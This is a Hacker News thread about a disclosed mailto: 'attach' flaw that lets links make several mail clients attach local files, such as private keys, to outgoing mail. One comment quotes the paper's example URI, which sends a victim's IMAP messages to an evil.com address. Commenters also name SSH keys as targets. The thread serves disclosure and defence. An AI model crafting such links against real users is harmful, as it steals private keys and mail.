
Mailto: ?attach=~/ parameter allows including arbitrary files on disk - Garbage
https://twitter.com/jensvoid/status/1295357952480751616
======
SyneRyder
Full Twitter thread text by @jensvoid here, since the thread appears to be
broken for some people:

 _Have you ever heard of the mailto:?attach=~ /… parameter? It allows to
include arbitrary files on disk. So, why break PGP if you can politely ask the
victim's mail client to include the private key? (1/4)_

 _You can even leak complete directories in some mail clients. Interestingly,
Evolution shows a warning if you want to include a single file, but the full
home directory is fine. (2 /4)_

 _Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian,
GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM /HCL Notes
(CVE-2020-4089), and Pegasus Mail. (3/4)_

 _This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your
Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu ,
@dues__ , @seecurity , and @joergschwenk : [https://](https://) nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)_

~~~
floatingatoll
A later reply identifies the xdg-utils package responsible for the issue. As
reported by author of the tweets:

[https://gitlab.freedesktop.org/xdg/xdg-
utils/-/issues/177](https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177)

------
Tepix
It's even worse. From the paper:

3) Access to IMAP Storage:

Thunderbird uses an adapted version of the imap:// URI scheme to internally
address emails stored on IMAP folders. This allows an attacker to include
messages on the victim’s IMAP server (specified by their UID) using an attach
parameter, as shown in Listing 6.

    
    
       mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1
    
        Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.
    

Multiple emails can be attached by using multiple attach parameters with
different UIDs. By setting the UID from one to the maximum number of stored
messages, and including all UIDs as attach parameters the whole mailbox of the
victim can be exfiltrated at once.

Even worse, _all OpenPGP and S /MIME encrypted emails in the attached email
are automatically decrypted by Thunderbird before sending them back to the
attacker_.

Sheesh!

~~~
upofadown
Decrypted messages should _never_ be stored on the IMAP server. That is pretty
much the whole thing here. It overtly defeats the PGP encrypt once scheme.

In the same way, a user intending to send an encrypted email should be able to
be confident that the email client will not automatically save an unencrypted
message to some sort of Drafts folder on the IMAP server.

~~~
boring_twenties
It sounds like he's saying the client would fetch the messages, decrypt them,
and attach the plaintext.

------
ryanjshaw
The Confused Deputy strikes again [1]

[1]
[https://en.wikipedia.org/wiki/Confused_deputy_problem](https://en.wikipedia.org/wiki/Confused_deputy_problem)

------
avian
I can't replicate this with current Thunderbird 68.11.0 on Debian. It honors
parameters such as subject= and body=, but attach= seems to be ignored.

After a quick search through the paper [1] it seems that authors forgot to
mention the software versions they were using in their research.

[1] [https://www.nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichu...](https://www.nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf)

~~~
miken123
It should be patched since Dec 2019:
[https://twitter.com/jensvoid/status/1295633279727673344](https://twitter.com/jensvoid/status/1295633279727673344)

~~~
avian
I found a discussion from March 2009 which suggests this issue was known back
then [1]. Maybe the same feature was re-introduced later in some other part of
the code? The link to source repo in the post is dead, but the file it
references (nsSmtpUrl.cpp) still contains this comment on line 88 in current
version:

/* DO NOT support attachment= in mailto urls. This poses a security fire
hole!!!

[1]
[http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555](http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555)

~~~
sukilot
A comment in source code. Not the discerning professional's preferred tool for
guaranteeing security-critical behaviors to prevent "fire holes".

~~~
setzer22
What should they do? Static analysis would be nice, but it's probably too
complex to adopt in that kind of codebase.

In the end, the only viable option is to forbid this behaviour, and document a
rationale so nobody will enable it back again.

Perhaps they could make this warning bigger, but other than that...

~~~
jefftk
They could have added a regression test, no? Give it an example with ?attach=
and verify that no attachment is added.

------
vortico
That's why I use web-based email (FastMail and Proton Mail personally) because
I want email software to exist in the same sandbox as all websites I visit on
the web.

~~~
sukilot
Seems like a reason to use an OS with sandboxing.

~~~
segfaultbuserr
I browse the web on QubesOS in a disposable VM. There's no user data in the
disposable VM, and all the data is cleared when the browser is turned off.
Also, QubesOS allows me to run my GnuPG daemon in a separate domain completely
isolated from all other applications. This is the ultimate defense against
arbitrary code execution in a buggy web browser. To take over the computer,
the attacker must exploit the Xen hypervisor or a CPU side-channel, not just a
0day in Firefox or a PDF reader. Yes, QubesOS's approach is not pretty, it's a
hack and resource-heavy. But this hack allowed us to continue using an
existing insecure desktop system, device drivers and applications, without
reinventing the OS and the desktop with its set-back of non-existent support.
At least it's a very practical stop-gap measure before someone reinvents OS
security.

A lightweight solution I used previously was running the browser in a separate
Unix user with firejail's sandbox. If it's not running a separate X server,
the attacker is free to take over the X server and inject keyboard and mouse
inputs, but at least the files in the primary /home directory is inaccessible.
I did this a few years ago after the disclosure of a file-leaking
vulnerability in Firefox, because I assumed similar exploits may be discovered
in the future, apparently I'm not wrong.

~~~
boring_twenties
firejail does in fact run Firefox in a separate X server. Namely, your choice
of Xpra or Xephyr.

~~~
segfaultbuserr
Comes with a great performance penalty, my (unverified) impression is that
it's even slower than Qubes.

------
upofadown
>So, why break PGP if you can politely ask the victim's mail client to include
the private key?

If your PGP private key has a good passphrase then you are still OK. This
attack suggests that there is some value in how most PGP implementations
attempt to protect the private key locally.

As a counter example, Signal Messenger does not even try to protect the
private key or saved messages except with a short pin (and that is a new
feature). That is probably based on the idea that any local attack is going to
end up being a complete compromise of the end point ... which is not an
unreasonable assumption. Then you can sniff any passphrase without any extra
trouble.

In the end, message security is endpoint security.

This attack is entirely generic. It seems odd that the authors only mention
the possibility of a PGP compromise and ignore all the other messengers out
there that could be also compromised by arbitrary remote file access. It would
of made things more compelling.

~~~
gvjddbnvdrbv
.ssh/id_rsa... Nasty!

~~~
frutiger
You likely mean .ssh/id_rsa (or perhaps .ssh/id_ed25519). The .pub variants
are safe to share.

~~~
gvjddbnvdrbv
Of course I updated my OP.

------
jorams
While it would definitely be better if this displayed a warning when opening
the link, it still requires the victim to willingly send the email. Before
doing that they see the list of attachments they are including, so this is a
_very_ visible attack.

~~~
rascul
> Before doing that they see the list of attachments they are including, so
> this is a very visible attack.

Depends on the client. I use claws-mail and I can't replicate this (not sure
if maybe I'm doing it wrong), but I did note that if there were attachments, I
wouldn't see them by default without clicking the attachments tab in the
compose window.

------
Tepix
The "attach" parameter is not mentioned in the mailto URI RFC 6068.

How was this standardized? Why did clients implement this?

~~~
zerkten
> Why did clients implement this?

People have processes that put files in standard places and require users to
email them the files. Yes, the average HN reader could automate away any need
for the average process, but it exists and can't be changed. Email client
developers go ahead and implement niceties without considering the risk.

------
l0b0
I wonder if anyone has tried to do something like this for meeting invite
responses, which are sent at least in Evolution without any user intervention.
Could you craft a meeting invite URL or mail such that the response would
include a file or email?

------
netsharc
Seems like a mail client stupidity, as the original twitterer follows up:
[https://twitter.com/jensvoid/status/1295358144600735744](https://twitter.com/jensvoid/status/1295358144600735744)

I guess someone thought it was a useful addition (e.g. since on smartphones
nowadays communication between apps is through launching of URLs, e.g. loading
the URL "[https://maps.google.com/...."](https://maps.google.com/....") would
open up the Google Maps app), but they didn't consider this exploit.

~~~
chromedev
How can someone build such a feature and not consider the most basic security
concerns?

~~~
giovannibajo1
The feature is useful for desktop applications that want to help the user
compose a mail to the customer service, including some report logs as
attachment.

Notice that the user is still required to actually press Send in front of
their default mail client with an open window showing the full email and
attachments.

~~~
chromedev
I can't imagine any scenario of a widely used email app opening a hyperlink
that automatically composes and attaches local files being acceptable, even if
they have to click send.

~~~
magicalhippo
Our program has documents attached to declarations. These typically come from
some integration and is saved on a server/shared drive, in some arbitrary sub-
directory to avoid too many files in one directory, and typically with some
non-intuitive filename for good measure.

Our users want to be able to be able to open a declaration and email the
documents, either internally or to their customers, along with some message.

We don't really want to implement a full email client in our program nor
having to deal with their SMTP server setup, including proxies, firewall and
so on. So we basically do exactly this, open a new mail in their client with
some template text and with one or more attachments.

We use MAPI though and not "mailto:", but use-case is there.

~~~
sukilot
If it does this without prompting the user for permission, it should stop
doing that.

~~~
magicalhippo
Our program doesn't prompt the user for permission explicitly, but then the
user has to initiate this process by clicking the "email documents" button
so...

------
mike-cardwell
_Sigh_ This works on latest Evolution on Debian, I just tested. I can see how
somebody might miss that there is an attachment, especially on a large screen
like mine (40 inches). I've just repointed the system default mail client at
Mutt (which is not configured), so I have to copy mail links from now on to
get them into Evolution.

------
Mic92
Here is the NixOS patch for xdg-utils:
[https://github.com/NixOS/nixpkgs/pull/95758](https://github.com/NixOS/nixpkgs/pull/95758)

~~~
Mic92
Will also sent upstream once I got an account and nobody is faster than me.

------
jwr
Much as this is bad, I will address the "GPG secret key" angle: if (like me)
you only store your secret keys on a physical device, as described for example
here: [https://github.com/drduh/YubiKey-
Guide](https://github.com/drduh/YubiKey-Guide), then you have nothing to worry
about, because your secret key does not reside anywhere where it's accessible.

~~~
gspr
OK, so replace "GPG secret key" with any other secret you definitely don't
wanna email off to some random stranger :-)

------
dathinab
Wait someone implemented that?

I have read some of the mail standards and know that they have quite a number
of "annoyances" some with bad security implications.

But I believed that modern mail software treats them as uhm "legacy madness"
and just doesn't implement them.

~~~
Tepix
It's not in the standard. I have no idea why several MTAs decided to implement
this, and did so in an unsafe manner.

~~~
jcranmer
Imagine you're providing a desktop shell. You want to support a right-click
"Send this file via email" option. This also happens for things like document
editing where you want to send the current document as an email attachment.

Now imagine you've decided the only portable way to marshal the information of
what to send is to use an extension to the URI for mailto. This means you can
no longer reliably figure out if the URI is "safe" (being generated by a
program that wants to effect a "send this document") or "unsafe" (I clicked a
link in my web browser).

XDG chose to go down the stupid path. Windows opted to use MAPI, so
MAPISendMail lets you attach files for the shell extensions.

------
lol768
I'm not convinced this is as big an issue as has been made out here.

Why would you click a link and then voluntarily send an email with a file
called "passwd" or "secring.gpg" in the attachments list?!

Perhaps you could show a scarier warning or something, rather than just
declaring the functionality unacceptably dangerous and removing it. There are
genuine use-cases discussed in this thread. At the end of the day, the user
needs to accept responsibility for things they voluntarily do on their
machine.

Generally though, I'm not sure this functionality makes much sense if it's
initiated from a web-page. If you had another app on your machine though, that
already had disk access, it might make sense to be able to launch the email
client with something pre-attached.

~~~
newsbinator
It is a big issue, and it's not surprising some hackers wouldn't understand
how big.

A lot of people, most even, have no idea what is happening on about 90% of
their screen, about 90% of the time. And they're used to being forever in the
dark about what their machine is doing and why. They expect it.

They know they're writing an email and they can see the box they're typing
into, but other components, like the status bar, title bar, and attachments
field, are outside their sphere of perception. At least or especially when
they're not actively thinking about attaching a file intentionally, say.

It's like a serious chess player, who sees the whole board and thinks multiple
moves ahead, compared to a novice who learnt the rules yesterday and can only
see the horsey piece and the pieces immediately surrounding the horsey piece.

These users have a checklist approach to using their computer:

Step 1: click this

Step 2: that happens

Step 3: Did what I wanted to happen, happen?

Step 4: there is no step 4

The professor who didn't realize there's a "fullscreen" button when showing
videos to the class is the same one who can't perceive the attachments field
and will send a file called 'passwd'. And if the mail client puts up an alert
that says, "Are you sure you want to attach and send a file called passwd to
p0wn.me@gmail.com?", they'll click 'Yes' and get on with their day.

~~~
syberspace
I think you are correct with your assessment of how most people use computers.

But I don't agree with your conclusion that they need to be protected. If I
want to hammer in a nail and accidentally hit my finger that's not the hammer-
manufacturer's fault or responsibility. So why should it be the email-client's
fault/responsibility to make sure I don't send my private keys?

If people refuse to learn how to use a hammer they will keep hitting their
fingers, if people are refuse to learn how to use their email-client they will
keep sending their private keys to bad actors.

~~~
newsbinator
I didn't conclude that the email client needs to warn users about dangerous
attachments- I mentioned that even if it did, users would ignore it.

But I do believe that UX needs to be designed according to the principle of
least surprise, and those in the know (i.e. we/us), need to put in guardrails
to keep people safe as they get on with their day.

If your hammer has 4,500 different everyday functions, 4,400 of them posing a
danger to your fingers & bank account, but hammering nails is necessary for
your job, for your kids' school stuff, and to interact with your government,
then that's a closer analogy.

------
thinkingemote
Anyone have an easier to read version?

~~~
dx034
The paper is easier to read than Twitter: [https://www.nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichu...](https://www.nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf)

------
DangerousPie
Broken Twitter thread?

------
chadlavi
huh, that's surprising. Just in case anyone else is curious, this doesn't have
any effect in the Mail app on macOS.

